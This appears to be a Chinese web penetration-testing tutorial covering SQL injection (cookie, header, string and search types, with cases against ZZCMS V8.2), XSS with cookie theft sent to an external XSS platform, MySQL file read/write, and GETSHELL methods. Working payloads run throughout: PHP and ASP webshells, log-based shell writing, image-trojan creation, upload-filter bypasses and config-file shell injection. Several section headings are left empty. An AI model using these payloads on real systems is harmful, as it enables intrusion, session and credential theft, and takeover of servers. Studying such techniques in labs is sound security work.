select * from admin where username='admin' and if(1=1,sleep(5),0) and 'a'='a' and password='password';
*/

  如果if判断条件成立的话则延时5秒返回结果,否则直接返回。

  说明:

  • 1.后面的注入可以参考基于时间的盲注进行下一步的注入

  • 2.这里我们只列举了这一种情况,当然有些情况下报错注入也是可以用的,只不过需要打印mysql_error()

  • 3.除了用Burpsuite抓包放入Repeater中测试之外,还可以用hackbar的POST提交方法进行测试

  • 4.万能密码:使语句称为永真式即可(e.g. admin’ # , admin’ or ‘1’=’1)

COOKIE注入

COOKIE注入介绍

  COOKIE型注入是通过COOKIE进行数据提交的,其常见的情况有验证登陆、$_REQUEST获取参数。

  验证登陆是将用户的登陆信息放入COOKIE中来做权限验证的一种方法,下面我们将提到的案例1就是验证登陆缺陷产生的注入。

  $_REQUEST是一种获取数据的方法,它包含了GET、POST、COOKIE三种提交方式。如下代码:

1
2
3
4
<?php
$id = $_REQUEST['id'];
echo $id;
?>

  对于这段代码,我们使用GET、POST、COOKIE三种提交方式进行数据提交均可。

COOKIE注入案例

  简单的介绍了COOKIE注入以后,我们来看下两个案例。

  • 案例1:
1
2
环境:php5+MySQL5.5+apache (win)
CMS: ZZCMS V8.2

  我们先看下/dl/dl_download.php的代码片段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
ob_start(); //打开缓存区
include("../inc/conn.php");
$founderr=0;
$ErrMsg="";
if (!isset($_COOKIE["UserName"])){
showmsg('请先登录','/user/login.php');
}

$username=$_COOKIE["UserName"];
//echo $username;
$id="";
$i=0;
if(!empty($_POST['id'])){
for($i=0; $i<count($_POST['id']);$i++){
$id=$id.($_POST['id'][$i].',');
}
}else{
$founderr=1;
$ErrMsg="<li>操作失败!请先选中要下载的信息</li>";
}
$id=substr($id,0,strlen($id)-1);//去除最后面的","

if (isset($_POST['FileExt'])){
$FileExt=$_POST['FileExt'];
}else{
$FileExt="xls";
}

if (check_user_power("dls_download")=="no"){
$founderr=1;
$ErrMsg=$ErrMsg."<li>您所在的用户组没有下载".channeldl."信息的权限!<br><input type=button value=升级成VIP会员 onclick=\"location.href='/one/vipuser.php'\"/></li>";
}
//判断查看代理条数

$sql = "select looked_dls_number_oneday from zzcms_usergroup where groupid=(select groupid from zzcms_user where username='".$username."')";

//echo $sql;
$rslookedlsnumber=query($sql);

  其中使用$_COOKIE[“UserName”]从cookie中获取操作者的用户名,未经过滤直接带入数据库进行查询,因此导致了COOKIE注入。

  访问dl/dl_download.php,然后用burpsite抓包:

  COOKIE中无UserName时,则会输出一个”请登陆”的重定向跳转到登陆界面。

  构造payload:

1
;UserName=admin') or if(1=1,sleep(5),0)  %23'

  if条件成立,延时了5s,程序执行超时,因此无回显。

  if条件不成立,没有超时,因此产生回显。

  接下来的注入过程和时间盲注是一样的,请参考前面的时间盲注过程。

  • 案例2:

  在ASP站点中,用request代替get的情况非常多,比如我们前面用来做ACCESS注入演示的站点就是用request接受的参数,而request包含了get、post、cookie三种方式。

  这种情况下判断是否存在COOKIE注入的方法:

1
2
3
4
1.程序可以接受cookie传递来的参数,如:
将.asp后的id=1442放入Cookie中观察页面的回显

2.是否对参数进行了过滤: and 1=1 and 1=2回显不同

  下面我们进行COOKIE注入的演示:

  第一步,访问目标站点,然后抓包。

  第二步,将参数id放入cookie中

  我们发现把.asp后面的?id=1442去掉,然后在Cookie中加上id=1442之后,服务器仍知道我们想请求的界面是id=1442的界面,这说明服务器可以接受Cookie传递来的参数。

  第三步:按照我们的注入过程来进行。

  • 猜表名
1
2
3
id=1442+union+select+top+1+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin  

-- 这里用+代替空格的原因:从cookie中接受到的数据会自动过滤空格,因此用+代替。

  • 猜列名并查数据
1
id=1442+union+select+top+1+1,2,3,4,5,6,7,8,9,10,11,12,admin,14,password,16,17,18,19,20,21,22+from+admin

HTTP头注入

  HTTP头注入是指从HTTP头中获取数据,而未对获取到的数据进行过滤,从而产生的注入。

  HTTP头注入常发生在程序采集用户信息的模块中,比如获取用户的IP:X-Forwarded-For;再比如获取用户的浏览器类型:User-Agent 等等…

  从HTTP头中的获取的数据一般不会改变页面的回显,因此,基于时间的盲注常和HTTP头注入配合使用。

  接下来我们看一个案例:

1
2
环境:win32+apache+php5+MySQL5.6
CMS: ZZCMS V8.2

  在后台登陆处抓包,然后在数据包中加上

1
X-Forwarded-For: 123.123.123.123' or 1=1 #

1
X-Forwarded-For: 123.123.123.123' or 2=1 #

  从以上测试中,我们得到了页面差,or true 则回显15分钟以后再试,而 or false则是显示还可以再试49次,接下来我们就可以用框架:

1
X-Forwarded-For: 123.123.123.123' or 盲注语句 #

  继续进行注入的测试。盲注方法请参看盲注章节。

根据闭合方式分类

  不同数据类型的数据在SQL语句拼接的时候也会有所不同,比如数字型的不需要单引号包裹,但是字符型的就需要单引号包裹,而搜索型的则是在用户提交的数据前后加上通配符%,因此由此分类,其实是按照闭合方式来进行的分类。

  在本章节介绍的注入方式常常和报错注入、盲注配合使用,但我们不会详细介绍盲注和报错注入的使用方法和选择方法,案例中我们也只提供一个Payload的框架,具体使用方法请到前面的相关章节学习。

数字型注入

  由于SQL语句中数字类型的值不需要单引号包裹,所以可以直接在后面添加SQL语句来进行注入,不必考虑单引号情况。

  程序中的SQL语句结构:

1
select * from pro where id=$id;  // $id用户可控

  在MySQL中,数字类型也可以用单引号包裹,并且很多程序员在程序中拼接SQL语句的时候也喜欢用单引号包裹住所有值,所以有时候数字型注入也需要闭合单引号,闭合方法请看继续看字符型注入。

字符型注入

  由于SQL语句中字符串通常要使用单引号来包裹,所以在注入的时候要闭合单引号,否则注入语句会被当作字符串来进行处理。

  程序中的SQL语句结构:

1
select * from admin where username='$user' and password='$pass';

  闭合方法:

1
2
3
4
aa' and 注入语句 and 'a'='a

-- 将语句后面的数据注释掉也可以 e.g.
aa' 注入语句 --

  案例:

1
Bugku - 字符型注入

  配合联合查询法:

1
a' union select 1,user(),3 and 'a'='a'

  配合报错注入:

1
a' and updatexml(1,concat(0x7c,(select password from mysql.user limit 0,1)),2)and 'a'='a

  配合布尔盲注:

1
b' or 注入语句 and 'a'='a

  配合时间盲注:

1
' or if(盲注语句,sleep(5),0) and 'a'='a

搜索型注入

  由于搜索型SQL语句通常使用%和’包裹,因此在注入的时候需要闭合%和’,否则就会报错。

  搜索型SQL语句结构:

1
select * from pro where content='%$keyword%';

  闭合方法:

1
2
3
4
aa%' and 注入语句 and '%aa%' ='%aa

-- 将语句后面的数据注释掉也可以 e.g.
aa%' 注入语句 --

  搜索型注入可以配合联合查询法、盲注或者报错注入来进行。

案例:

1
Bugku - 搜索型注入

  与基于时间的盲注配合使用:

1
a%' and if(布尔盲注语句,sleep(5),1) and '%a%'='%a

  与基于布尔的盲注配合使用:

1
%' and 盲注语句 and '%a%'='%a

  与报错注入配合使用:

1
%' and updatexml(1,concat(0x7c,注入语句),2) and '%a%'='%a

  搜索型注入写文件:

1
%' UNION SELECT 'shell',NULL,NULL INTO OUTFILE 'd:\\a.php' --

宽字节注入

二次注入

XXE注入

找后台的方法

目录扫描

  模拟浏览器访问,根据响应包的状态码来判断该目录或文件是否存在。

  常用在目录扫描的响应码:

1
2
3
1.200 返回正确
2.403 无权限访问
3.3XX 重定向

  常用工具:御剑后台扫描器

小技巧:

  根据目标站点的支持脚本类型来进行探测脚本的选择,这样大大的提高效率。

蜘蛛爬行

  蜘蛛爬行是从站点的链接中获取站点的目录情况。和目录扫描原理不同,但是两者却相辅相成。

优缺点比较:

  目录扫描主要依赖于字典,字典强度决定了扫描的效果。有时候无法探测到比较奇特的后台目录比如at_admin

  蜘蛛爬行不依赖字典,而依赖于站点中的链接,比如at_admin目录存在于站点的页面中则可以探测到

  常用工具:

1
2
1.AWVS
2.BURP

google黑客

  使用google 、baidu等搜索引擎进行搜索,如果目标站点的管理页面被收录的话,就可以探测到。

  搜索语法:

1
2
3
4
5
6
7
8
9
site:admintony.com admin

site:admintony.com login

site:admintony.com 后台管理

site:admintony.com 管理

site:admintony.com menage

遗留文件

  robots.txt是管理百度蜘蛛爬行规则的一个文件,很多管理员不希望后台或者一些私密的界面被搜索引擎收录到,所以在目录下放了一个robots.txt用来禁止百度蜘蛛爬行指定目录。

子域名

  有些站长会把子域名指向后台,比如 http://www.admintony.com 其子域名 http://admin.admintony.com 很有可以能就是该站点的后台

端口

  与子域名有些相似之处,站长将后台放置于某个端口,用来隐藏后台地址,以免被人发现。

根据规律猜测

  假如:某站点很多页面的文件名为:

1
2
3
a_info.php

a_about.php

  根据以上规律,我们猜测,站点的后台可能是a_login.php、a_admin.php等。

跨站脚本攻击

  跨站脚本攻击(Cross Site Scripting),简称XSS。其主要成因是:程序为对输出的字符进行过滤或HTML实体化,导致恶意的JS代码被输出到页面中,从而获取用户信息。跨站脚本攻击漏洞(后文称XSS)带来的危害有:获取其他用户Cookie、键盘记录、获取内网IP、截取网页屏幕、获取保存的明文密码等几种(其实JS能做的事情,XSS都可以做)。其中用的最多的还是获取其他用户的Cookie,从而伪造其他用户的登录凭证进入系统。

  XSS一般分为3类:反射型XSS、存储型XSS和Dom型XSS。

反射型XSS

  反射型XSS也叫做非持久型XSS,它是将用户输入的JS代码直接输出在页面上,然后在浏览器端触发。

  XSS攻击示意图(获取Cookie过程):

  笔者将使用DVWAReflected XSS-low模块来演示一下反射型XSS的利用方法。

检测XSS

  在测试是否存在XSS漏洞时,常用的payload有如下几个:

1
2
3
4
1. <script>alert(1)</script>
2. <img src=x onerror=alert(1)>
3. <svg/onload=alert(1)>
......

  打开DVWAReflected XSS-low模块,将测试payload放入输入框进行测试:

  可以发现,输入的<script>alert(1)</script>代码被执行了,其效果是弹一个对话框,内容为1。看到弹窗以后,则说明此处存在XSS漏洞。

小技巧:

  有些情况下,<script>alert(1)</script>未经过任何处理被输出在了页面中,但是仍没有弹窗。这时候可以使用其他的测试payload来进行检测,如<img src=x onerror=alert(1)>或者<svg/onload=alert(1)>

获取Cookie

  测试弹框只是进行检测XSS漏洞的是否存在的方式,获取用户Cookie则是XSS漏洞利用方式之一,也是对于渗透测试人员来说最主要利用方式。下面笔者将用DVWA来进行演示。

  首先,我们要去在线的XSS平台(http://xsspt.com)上注册一个帐号,用于接收Cookie。

  创建项目,填写项目名称和项目描述。

  配置代码中,选择默认模块即可,如果有其他需求可以选择其他模块,选择默认模块时尽量勾选keepsession,防止拿到的Cookie过期。

  配置完成之后,会看到项目代码,如下图所示:

  然后,根据实际环境选择项目代码(比如限制了长度的测试点,可以选择缩短后的代码),将代码存在XSS漏洞的测试点,如下图所示:

  此时,即可在XSS平台中看到自己的Cookie了,如下图:

  那么如何获取到别人的Cookie呢?攻击者只需要将该可以获取Cookie的链接发送给正常用户,用户点击链接后,攻击者即可获取到用户的Cookie。

存储型XSS

  存储型XSS也叫持久型XSS,它则是将用户输入的JS代码存放到数据库或文件中,当Web程序读取该JS代码并输出在页面上时触发。存储型XSS漏洞一般都会比反射型XSS漏洞的危害更大,因为反射型XSS漏洞的触发需要用户点击攻击者特定的链接,对于有安全意识的用户或管理员,一般都不会点击的;而存储型XSS则不需要用户点击链接,其只需要用户浏览了Web程序输入JS代码的页面就会受到攻击。

  存储型XSS攻击示意图(获取Cookie过程):

  接下来笔者将用DVWA中的Stored XSS-Low模块来进行存储型XSS漏洞的演示。

检测XSS

  检测存储型XSS漏洞和检测反射型XSS漏洞的方式类似,使用的payload也是以下几种:

1
2
3
4
1. <script>alert(1)</script>
2. <img src=x onerror=alert(1)>
3. <svg/onload=alert(1)>
......

  打开DVWA中的Stored XSS-Low模块,将测试的Payload放入Message输入框中,这里要注意一点,留言板中一般有NameMessage两个输入框,在测试存储型XSS时尽量在Message输入框中,因为MessageName输入框,可输入的字符长度更多,不容易出现payload超出可输入长度的情况。

  看到弹窗,则说明存在存储型XSS,该恶意JS代码已被存入数据库,当其他用户浏览到此网页的时候也会弹出提示框。

获取Cookie

  只是弹框并未达到我们的攻击效果,这里笔者还是向大家介绍获取Cookie的方法。存储型XSS和反射型XSS获取Cookie方法类似,仍然使用XSS平台来接收Cookie。

  将XSS平台的项目代码放入留言板的Message框,点击提交按钮。

  当管理员或其他用户浏览到这个页面的时候,攻击者已经悄悄的拿到了他们的Cookie,如下图所示:

  相比与反射型XSS来说,存储型XSS攻击别人更加的悄无声息。

Dom型XSS

  Dom型XSS与前二者最大的不同之处在于前两者是后端将JS代码直接输出在页面中所产生的,而Dom型XSS则是由文档对象模型(Document Object Model)将JS代码直接输出到页面所产生的,这种XSS相对较少,且需要阅读JS代码才可以挖掘出来。

  Dom型XSS与反射型XSS攻击流程是类似的,攻击示意图如下:

  接下来笔者将使用DVWA中的Dom XSS-Low模块来演示Dom型XSS的检测与利用方法。

检测XSS

  此类XSS就需要去阅读网站的JS代码了,就比如DVWA中的Dom XSS-Low模块,查看代码如下:

  这段JS代码的大概意思是,从URL中获取default参数的值,并将这个内容进行URL解码后打印到<option>标签中,那么我们将<script>alert(1)</script>传入default参数呢?

  看到弹窗了,则确认该测试点存在Dom型XSS漏洞。

小技巧:

  在此处测试XSS只能使用<script>alert(1)</script>,因为部分的标签(<img>、<svg>、...)不能放在<option>标签内,如果<script>标签被过滤的话,需要闭合<option><select>标签才能使用其他标签触发XSS。其payload如下:English</option></select><svg/onload=alert(1)>

获取Cookie

  Dom型XSS与反射型XSS漏洞获取Cookie的方式相同,首先需要先将XSS平台的项目代码放入URL。

  将该URL发送给用户,用户点击后,XSS平台就会接受到Cookie,如下图:

XSS产生位置

  上面在介绍XSS的时候使用的测试环境的XSS产生位置都是在标签内(标签内是指<pre>可控点</pre>类型的)的,接下来笔者会介绍一下常见的产生位置不在标签内的情况。

属性中

  除了上面所说的可控点在标签内的情况,最常见的就是可控点在标签的属性中,形如<input name="可控点" type="text">的。其实上面测试payload中第二种、第三种都是在标签内执行JS的例子。

  笔者将DVWAReflected XSS-medium模块代码改编了一下,形成了属性中触发XSS的案例。

  直接使用测试Payload:<script>alert(1)</script>进行检测,如下图:

  可以看到在该测试模块中,测试payload被原样输出,审查元素-编辑为HTML后看到,<>被HTML实体化了,但是在<pre>标签的id参数中payload也被输出了,那么就想到:闭合id参数的双引号和<pre>标签,再使用<img src=x onerror=alert(1)>来进行触发XSS。完整Payload为:123"><img src=x onerror=alert(1)>

  闭合后就可以用<img>、<script>等标签来触发XSS了。

  除了这种情况,还有另外的一种情况:可控点在属性内并且<>等字符被HTML实体化。接下来笔者将介绍此类型案例,测试环境为:DVWAReflected XSS-high

  按照前面的方法,进行XSS检测时,会发现以下情况:

  可以成功闭合双引号,但是标签无法闭合,那么想到:先闭合id参数的双引号,再使用onmouseover等事件属性来触发XSS。Payload为:admintony" onmouseover=alert(1),执行如下图:

  发现多了一个HTML实体化的双引号,这里笔者提供两种解决方案:

1
2
1. admintony" onmouseover=alert(1);//  # 注释掉alert(1);后面的内容
2. admintony" onmouseover=alert(1) x=" # 让HTML实体化的双引号进入x属性

  当鼠标移动到pre标签后就会触发XSS。

  上面演示了如何弹框,如果不能用<script>标签的话,该如何获取Cookie呢?我们看下XSS平台有没有提供这样的项目代码呢?

  虽然并没有直接提供利用代码,但是在最后提供了一个<img>标签使用事件属性获取Cookie的代码,结果如下:<img src=x onerror=eval(atob('xxx'))>,我们刚才使用的是onmouseover事件属性,该属性与onerror类似,所以我们可以直接将利用代码中onerror=后面的内容直接复制出来,放到onmouseover后面就可以获取到Cookie了,如下图所示:

  也是一样可以获取到他人的Cookie的。

特殊标签

  除去事件属性触发XSS之外,还有一种常见的类型就是特殊标签,这类标签或多或少的影响了XSS漏洞的利用,接下来笔者将一一介绍他们。

<textarea>

  <textarea>是文本框标签,它与其他标签的不同之处是:只要在<textarea>里面的内容,会自动进行一次HTML实体化。接下来笔者将给大家展示一则案例(环境为:Stored XSS - textarea)。

  在留言板中将XSS测试Payload放入留言内容的输入框中,然后提交留言。

  在留言板后台查看留言的时候,发现并没有弹窗并且<>被转化成了HTML实体化字符。

  这是因为<textarea>标签会将标签里面的内容进行HTML实体化的原因,因此我们需要先闭合标签再进行测试,其Payload为:</textarea><script>alert(1)</script>

  在后台查看客户留言就会触发XSS漏洞。

<select>

  这个标签的特殊在上面Dom型XSS中笔者已经介绍了,其标签中不能出现<img>、<svg>、...部分标签,其解决方案有以下几种:

  • 使用<script>标签

  • 闭合<select>标签后再使用<img>、<svg>、...标签,其payload大概为</select><img src=x onerror=alert(1)>

<script>

  在有些情况下,攻击者输入的字符串会被程序输出到<script>标签中,而在这种情况下攻击者可以直接闭合前面的JS代码,然后将要恶意JS代码放到闭合的JS代码后面,从而使恶意代码被执行。以下是笔者在挖洞时候发现的两处有代表性的案例:

  • 闭合+注释
1
2
3
4
5
6
<script>
// 笔者层在菜鸟SRC提交过的漏洞案例
$(function(){
fn_get_menu('help','$id'); // $id为可控点
});
</script>

  其Payload为:123');alert(1);//,拼接到程序的JS中为:

1
2
3
4
5
<script>
$(function(){
fn_get_menu('help','123');alert(1);//'); // $id为可控点
});
</script>
  • 闭合var
1
2
3
4
5
6
7
8
<script>
// 笔者层在BSRC提交的漏洞案例,其中tokenid可控
var CA={
isLogin: true,
yiiDebug: false,
yiiCsrfToken: "tokenid"
};
</script>

  其Payload为:123"};alert(1);var x={admintony:"456,拼接到程序的JS中为:

1
2
3
4
5
6
7
<script>
var CA={
isLogin: true,
yiiDebug: false,
yiiCsrfToken: "123"};alert(1);var x={admintony:"456"
};
</script>

XSS小技巧

闭合优先的标签

Unincode编码

JSfuck

phpMyAdmin与数据库外联

介绍

  phpMyAdmin是web类型的数据库管理工具,不需要数据库用户支持外联。

  数据库外联是数据的一种功能,如果数据库支持外联,那么可以在任意机器上用数据库管理软件(如:navicat)连接操作数据库。

  两者的相似点:都是直接对数据库进行操作,而不需要借助注入点,也不用受到注入点的局限,从而可执行更多类型的SQL语句。

读文件

load_file函数

条件:

1
2
1.用户拥有file权限
2.secure_file_priv=
1
select load_file('D:\\phpStudy\\WWW\\fuzz\\conn.php');

  将图中的16进制转成字符串就是源码。

LOAD DATA语句

  相对于load_file函数的优缺点:

优点:

1
2
1.不需要file权限
2.不受secure_file_priv影响

缺点:

1
2
1.不可在注入中使用,只能在直接对数据库操作的情况下使用
2.需要借助表,将数据写入表中
1
2
3
create table test(
col1 varchar(200);
);
1
LOAD DATA LOCAL INFILE 'D:\\phpStudy\\WWW\\fuzz\\conn.php' INTO TABLE test FIELDS TERMINATED BY '';

写文件

into oufile 子句

条件:

1
2
1.用户拥有file权限
2.secure_file_priv=
1
select 'aa' into outfile 'd:\\phpstudy\\www\\fuzz\\a.txt';

设置日志写文件

优点:

1
2
1.不需要file权限
2.不受secure_file_priv影响

缺点:

1
2
1.不可在注入中使用,只能在直接对数据库操作的情况下使用
2.写入的shell随着sql语句执行次数增多后就会打不开。
1
set global general_log=on;set global general_log_file='d:\\phpstudy\\www\\fuzz\\shell.php';select '<?php eval($_POST[tony]) ?>';

GETSHELL

  GETSHELL是指通过漏洞或者程序的配置不当,获取WEBSHELL的过程,本章我们将介绍WEBSHELL和常见的GETSHELL方法。

WEBSHELL

WEBSHELL的介绍

  WEBSHELL简单的来说就是一个可以执行任意代码的脚本(也叫一句话木马),我们用PHP的WEBSHELL做个讲解:

1
<?php @eval($_POST['x']);?>

  以上PHP代码就是一个简短的PHP WEBSHELL,其作用是通过$_POST的方法获取数据(参数x叫做SHELL的密码),然后再用eval函数将获取的数据当作PHP代码进行执行。攻击者可以构造PHP代码,从而实现读写文件、列目录、上传下载文件、操作数据库、执行系统命令等操作。

WEBSHELL管理工具-菜刀

  这里我们可以用图形化界面WEBSHELL管理工具菜刀来执行操作,界面如下:

  • 添加WEBSHELL

  • 文件/目录操作

  • 执行系统命令

  • 操作数据库

图片马

  图片马就是将图片和WEBSHELL合成到一起而产生的。有些程序会检测上传的文件是不是一个图片,因此我们需要合成图片马,将WEBSHELL插入图片中隐藏达到绕过检测的目的。

  图片马的合成方法:

1
2
3
4
5
6
7
8
9
/*
1.CMD命令合成
*/

copy /b a.jpg+b.php c.jpg

/*
2.用notepad++打开图片,在图片末尾插入一句话。
*/

  其实两种方法都是用了图像隐藏中的尾部追加法,虽然操作方法不同,但是原理是相同的。

  只有当上传到服务器的图片马中的代码被解析执行的时候才是一个WEBSHELL。

上传漏洞

  上传漏洞是指利用上传的方法将WEBSHELL上传到目标服务的漏洞,具体原理和方法的介绍,请看下面的介绍。

解析漏洞

IIS6.0解析漏洞

  IIS6.0会把以下3种类型的文件会被IIS当作脚本文件(ASP、PHP、ASPX)来解析执行,下面我们会一个一个给大家讲解这些解析漏洞的适用环境。

  • a.asp;.jpg

  这种方法适用于上传到服务器的文件在服务器上的命名可被攻击者控制的情况。

  这种情况不仅仅试用于ASP脚本,PHP、ASPX同样试用,只要是IIS6.0的WEB容器就存在该漏洞与脚本类型无关。

  情景:

1
2
3
4
服务器方面:IIS6.0的web容器
程序方面:只允许.jpg后缀文件上传;
上传后文件名可以被攻击者控制。
漏洞演示程序:DVWA上传模块-medium难度

  只允许上传JPEG和PNG两种格式的文件。攻击者可以上传一个名为multi.php;.jpg的图片,绕过程序的拦截:

  访问multi.php;.jpg仍然被当作PHP来进行解析。

  • /a.asp/2018042500310015.jpg

  这种方法适用于上传到服务器的文件的目录可被攻击者控制的情况。a.asp目录下的任意后缀的文件都会被IIS当作ASP来解析执行。

  情景:

1
2
3
4
5
服务器方面:IIS6.0的web容器
程序方面:只允许.jpg后缀文件上传;
上传后文件名被服务器按照时间戳命名。(a.asp;.jpg -变成-> 时间.jpg)
上传后的文件目录可控。
漏洞演示程序:DVWA上传模块-High(站点支持asp)

  这种情况如果攻击者还上传名为multi.php;.jpg的图片,会出现以下情况:

  上传后的图片被重命名,无法出现multi.php;.jpg这样的名称,也就没办法触发IIS6.0的解析漏洞。

  这种情况下,攻击者可以构造上传目录为a.asp/从而使上传上去的jpg文件被当作ASP解析执行。

  然后菜刀连接:

  • a.cer、a.asa、a.cdx

  IIS6.0会把这三种后缀当作ASP来执行。

  情景:

1
2
3
4
5
服务器方面:IIS6.0的web容器
程序方面:不允许asp、aspx、php后缀文件上传
上传后的文件会按时间戳重命名
上传后文件目录不可控
漏洞演示程序:DVWA上传模块-Low(支持ASP)

  上传黑名单后缀名文件测试:

  上传非黑名单后缀名文件测试:

  因此,之前两种方法无法突破,但攻击者可以上传后缀为.cer、.asa、.cdx的文件来进行绕过黑名单验证。

  白名单验证: 白名单验证是指只放行白名单中的后缀。

  黑名单验证: 黑名单验证是指只拦截白名单中的后缀。

Apache解析漏洞

  在低版本的Apache中,系统会从右向左识别后缀,直至找到一个可以识别的后缀,然后将文件以该可识别的后缀进行解析。

e.g.

1
2
3
4
5
shell.php.v1.xxx

-- 系统无法识别xxx后缀名,则判断v1后缀名
-- 系统仍无法识别v1后缀名,则判断php后缀名
-- 系统可识别php后缀名,则将文件作为PHP文件解析

  该方法也是在服务器端不会对上传的文件重命名的情况下使用的。

Nginx解析漏洞

  Nginx<=0.8.37,在已上传到服务器的包含WEBSHELL代码的图片后面加上%00.php会将 /xx.jpg%00.php当作PHP文件来进行解析执行。

CGI解析漏洞

  CGI的解析漏洞主要影响IIS>7.0 和 Nginx 这两个WEB容器,它的产生原因是因为PHP.ini中cgi.fix_pathinfo=1,从而导致把其他格式文件按照PHP脚本来进行解析执行。

  Payload:

1
http://IP/图片马地址/a.php

  遇到这种环境,攻击者只需要找到一个上传点,然后上传一个图片马,然后访问图片构造Payload即可获取WEBSHELL。但此情景只能以PHP脚本解析执行文件。

任意文件上传

  顾名思义,就是一个上传点未对上传的文件类型做任何限制,导致攻击者可以上传任意类型的文件,从而GETSHELL。

  案例1:直接型任意文件上传

  直接型任意文件上传是指可以直接上传ASP|PHP|ASPX|JSP的脚本文件。

1
2
服务器:WIN03+IIS6.0
程序 : DVWA上传模块 - low_

  案例2:间接型任意文件上传

  间接型任意文件上传:不能直接上传ASP|PHP|ASPX|JSP等脚本文件,而允许上传的文件类型可以被攻击者修改,从而导致可以上传任意类型的文件的漏洞。

1
2
服务器:WIN03+IIS6.0
程序 : 南方数据

  直接上传ASP脚本文件,上传失败。

  但是后台配置中却可以设置允许上传的类型,修改加上需要上传的文件类型即可上传该类型文件。

  值得一提的是有些上传点的允许上传的文件类型并不是写在后台配置中的,而是写在数据包(URL、COOKIE)中。

前端JS验证

  前端JS验证,其实就是仅在前端使用JS验证上传文件的类型,而这种验证方法是很容易被绕过的,攻击者只需要修改上传的数据包即可绕过此验证。

  前端JS验证绕过方法的流程图:

1
2
服务器:WIN03+IIS6.0
程序 : 修改后的DVWA upload/index_.php

  直接上传.php后缀的文件会被前端的JS代码拦截:

  将一句话木马的后缀修改为允许上传的后缀,上传抓包。

  修改数据包中文件后缀,放行。

服务端拓展名验证

  除了前端JS验证常见的就是服务端拓展名验证了。前端JS验证可以在验证后的步骤中(数据包)修改文件拓展名,而服务端验证是无法这样绕过的。

  服务器拓展名验证可以配合Windows的命名规则来进行绕过,比如:

1
2
3
4
test.php.
test.php(空格)
test.php:1.jpg
test.php::$DATA

  Windows会把不符合规则的部分后面的内容去掉,从而实现绕过服务端拓展名验证GETSHELL。但是这种方法实现的前提是服务端不会对上传的文件按时间戳重命名

案例:

1
程序 : BWVS - 服务端扩展名验证实例

  上传.php后缀的文件,则会显示”此文件不允许上传”:

  抓包构造文件名:

  此时upload/shelltest.php就是我们上传上去的WEBSHELL,注意SHELL文件名中那些不符合规则的部分后面内容被去掉了。

  此案例中给出的场景是黑名单验证,但这种绕过方法对于白名单验证同样有效,白名单时构造tony.php:a.jpg即可绕过。

MIME验证

  MIME验证是通过获取上传文件时数据包中Content-Type的值来判断文件是否合法的。以下是常见图片的后缀和Content-Type对应表:

1
2
3
4
5
后缀   Content-Type

.jpg image/jpeg
.gif image/gif
.png image/png

  MIME验证只需要攻击者抓取上传数据包,将数据包中的Content-Type的值修改为合法图片的Content-Type值即可绕过。

案例:

1
程序: BWVS - MIME限制文件上传

  上传.php格式的文件,会提示”文件类型不正确,请重新上传!”

  抓取上传文件的数据包,并修改Content-Type的值

上传内容验证

  上传内容验证是通过对上传文件的内容进行验证,从而判断上传的文件是否合法。因为jpg、png、bmp、gif格式的图片都有自己固定的文件头,所以常用的上传内容验证方法就是通过验证文件头得出文件的类型。

  常用的绕过方法:

1.在一句话的文件的开头加上gif89a # (gif图片头) 
2.使用合成的图片马

案例:

1
程序:BWVS - 内容验证实例

  直接上传仅含有一句话木马的文件,会被判定为非法文件,从而上传失败。

  在一句话木马前面加上gif图片头(gif89a),再上传。

  或者用合成的图马将后缀改成php上传也是可以的。

00截断

  %00是字符串的结束标识符,00截断就是利用%00来将上传的目录名(或者文件名)截断,只保留下以.php结尾的文件名,从而达到GETSHELL的效果。

  需要注意的是:php<=5.3的才能被00截断,高版本已经修复了该问题。

案例1:

1
2
程序:00截断案例 
环境:PHP=5.2.17

  上传正常的图片:

  上传php脚本:

  00截断突破:我们可以在数据包中路径后面加上aa.php%00将上传的目录进行截断,在程序中拼接后变成/upload.aa.php%00/xxx.jpg,而%00作为字符串结束符后面的数据就会被忽略掉,从而使上传后的文件变成了uploads/aa.php。

  • 第一步:抓取数据包

  • 第二步:构造%00发送数据包

  在路径处加上aa.php%00,然后右击找到urldecode,点击urldecode使%00变成字符串结束符:

  发送数据包:

  末尾输出结果为包含图片名的原因是:echo可以输出一个或多个字符串,%00作为字符串结束符,其实是把一个字符串分成了两个字符串。

  对%00进行urldecode的原因:发送web请求的时候默认会对提交的数据进行一次url编码,而到服务器端会进行一次urldecode。但是上传表单需要指定enctype=multipart/form-data(对提交的数据不进行编码处理),而被指定enctype=multipart/form-data的数据到服务端不会进行urldecode,所以我们要手动进行urldecode使%00变成字符串结束符。

案例2:

1
程序:DVWA文件上传 - High&改版后

  案例2中,因为路径存放在cookie中提交数据时会进行一次urlencode,因此不需要对%00进行手动解码,在服务端会对cookie中的path参数的值进行URLdecode操作。

双文件上传

  双文件上传是同时上传两个文件,第一个文件的后缀名为合法后缀名,第二个文件的后缀名为WEBSHELL后缀,程序只检测第一个文件的后缀名而未对第二个文件的后缀名进行检测,从而实现GETSHELL的上传绕过方法。这种方法常用在”南方数据” CMS中,这里的案例就是”南方数据”的CMS。

案例:

1
程序 : 南方数据

  抓取上传数据包,从”开始处”复制到”结束处”,然后将复制的内容粘贴在”结束处”的后面。

  找到第二个图片的开始处,并做两处修改:1.将name修改为和第一个图片的name不同的值;2.将filename改为.asp空格后缀(不加空格会被拦截)。

  发送数据包:

数据库备份

  利用数据库备份的方法,将图片马备份成ASP格式的文件,从而GETSHELL。

1
2
3
4
-- 演示环境

服务器:win03+IIS6.0
程序 : 南方数据

  第一步,上传一个图片马,然后记录下相对路径。

  第二步,数据库备份,将当前数据库地址改为图片马的相对路径

  第三步,菜刀连接

插配置文件

  有些CMS会将站点的配置信息存放在config.asp[或.php]中,攻击者如果拿到后台后,将构造好的payload改入站点的配置信息,payload即可写入config文件,从而GETSHELL。

  插配置文件GETSHELL的方法是一个细致活,不建议盲插,最好在本地搭建环境测试后再去目标站点使用,否则会导致整个站点崩溃。

  常用的构造此类Payload的方法:闭合前面的引号,注释后面的冗余数据,保证WEBSHELL代码能够被执行。

  案例:

1
2
服务器:WIN03+IIS6.0
程序 : 南方数据

  在网站配置的网站标题处插入以下代码:

1
"%><%Eval(Request(chr(112)))%><%'

  然后用菜刀连接http://域名/inc/config.asp

编辑器漏洞

